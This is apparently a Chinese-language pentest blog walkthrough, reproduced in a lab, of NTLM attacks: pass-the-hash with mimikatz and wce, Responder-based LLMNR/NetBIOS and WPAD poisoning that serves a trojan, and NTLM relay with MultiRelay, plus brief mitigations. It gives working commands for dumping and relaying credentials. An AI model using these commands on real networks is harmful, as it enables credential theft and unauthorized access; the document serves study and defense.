基于NTLM协议的三种攻击手段

作者 f0zz 日期 2022-03-02
基于NTLM协议的三种攻击手段

导语

在后渗透获取会话之后,我们需要收集更多的信息以及尝试越权…

NTLM | PTH Hash传递

pth分为提取 hash 和利用 hash 两个过程

提取hash

hashdump : 集合多种hash抓取工具[https://github.com/TheKingOfDuck/hashdump](https://github.com/TheKingOfDuck/hashdump)

  1. 利用mimikatz提取hash
    mimikatz # privilege::debug
    mimikatz # sekurlsa::logonpasswords full
    mimikatz # lsadump::dcsync
    image.png
    奇奇怪怪的问题出现了(Windows 10 Win10User/f0zz.com 后来问1ight师傅才知道,这里需要的管理员权限不是本地管理员 而是域管理员🤡)
    跳入坑位1
    mimikatz 所需要的权限是域管(DC) System, 而不是本地管理员。或者使用离线转储的方式将本地保存的hash值转储
    image.png
    成功抓取(Windows Server 2012 DC/f0zz.com)
  2. wce
    利用wce也可以完成对本地hash的抓取(不小心被看到明文密码了🤨)
    image.png

    过程复现

    环境 : Windows 7x64 192.168.252.153
    Windows Server 2012x64 192.168.252.3
    已知条件:
    Windows7内存中的hashmimikatz.exe "privilege::debug" "sekurlsa::logonPasswords"
    image.png
    mimikatz # sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<ntlm hash>
    这里不仅仅可以通过NTLM,还可以通过RC4、AES128、AES
    image.png

NTLM | NTLM 中间人攻击

NetBios和LLMNP

NetBIOS,为网络基本输入输出系统(英语:Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同电脑上运行的不同程序,可以在局域网中,互相连线,以及分享资料。严格来说,NetBIOS不是一种网络协议,而是应用程序接口(API)。较古老的操作系统,使用IEEE 802.2与IPX/SPX协议,可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统,多数都使用TCP/IP协议,则可透过NetBIOS over TCP/IP协议来相互通信。
链接-本地多播名称解析(The Link-Local Multicast Name Resolution | LLMNR)是一个基于域名系统(DNS)数据包格式的协议,允许IPv4和IPv6主机为同一本地链接上的主机进行名称解析。它包含在Windows Vista、Windows Server 2008、Windows 7、Windows 8和Windows 10中。[2] 它也由Linux上的systemd-resolved实现。[3] LLMNR在RFC 4795中定义,但未被采纳为IETF标准。

windows解析顺序:

本地host文件>dns缓存>dns服务器>名称解析协议(NetBIOS和LLMNR广播)
NetBIOS和LLMNR协议对于没有DNS的工作站系统来说很有帮助,但也对攻击者大开方便之门。当输入不存在、包含错误或者DNS中没有的主机名时,就会使用这些协议在网络中搜索主机,这些协议的本质决定了本地网络上的任何主机都可以回答请求。这意味着作为攻击者,能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到攻击者。

获取Hash过程复现

原理类似arp欺骗
攻击者使用responder开启监听python2 responder -I eth0 -f伪造domain
image.png
受害者在网络开启广播net use \\不存在的域名
image.png
攻击者就会收到来自被攻击方的连接请求,此时受害者需要输入用户名和密码,从而被欺骗🙈
image.png
此时受害者的hash信息会被保存在/usr/share/responder/logs目录下,以 协议名称_IP地址命名

防止NetBios和LLMNP欺骗

image.png
image.png

WPAD劫持

网络代理自动发现协议(Web Proxy Auto-Discovery Protocol,WPAD)是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。

我们可以根据WPAD协议的行为对dns进行毒化,使目标的流量重定向。让目标在访问任意页面时下载我们事先准备好的文件。
条件: 受害者开启浏览器“自动检测代理”
kali中的responder可以实现
image.png
ExeFileName: 指定本地木马文件
ExeDownloadName: 实战中显示的文件名称
python2 Responder.py -I eth0 -wrf开启

NTLM Relay

利用条件

  • 目标机器不能开启smb签名,否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。
  • 对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用也是无效的。

    过程

    目标机器通过NetBIOS和LLMNP协议在本地子网中广播,寻找主机。
    attacker欺骗目标机器 伪装成主机

首先,使用RunFinger识别出网络中不需要smb签名的机器
python2 RunFinger.py -i 192.168.252.0/24
image.png

确认目标后修改Responder的配置,因为我们会用Multirelay对hash进行dump。防止端口冲突
image.png
image.png
接着使用Multirelaypython2 Multirelay.py -t 192.168.252.153 -u ALL如需转储受害者密码散列,请加入-d参数 –dump
现在,等待受害者出现并请求一个无效的主机名,这样它们就会被重定向到 MultiRelay。由于我们指示 MultiRelay 接受来自任何用户帐户的身份验证,我们可能会看到来自目标机器上没有本地管理特权的帐户的连接尝试。MultiRelay 将转发所有的身份验证尝试,但如果尝试失败,它将阻止同一帐户的其他尝试,以防止锁定。

防止NTLM Relay

gpedit.msc
计算机配置\Windows 设置\安全设置\本地策略\安全选项
image.png

Refer:
1ight😍 NTLM Relay Attack
MULTIRELAY – RESPONDER’S OVERLOOKED LITTLE BROTHE
Microsoft 网络服务器: 对通信进行数字签名(始终)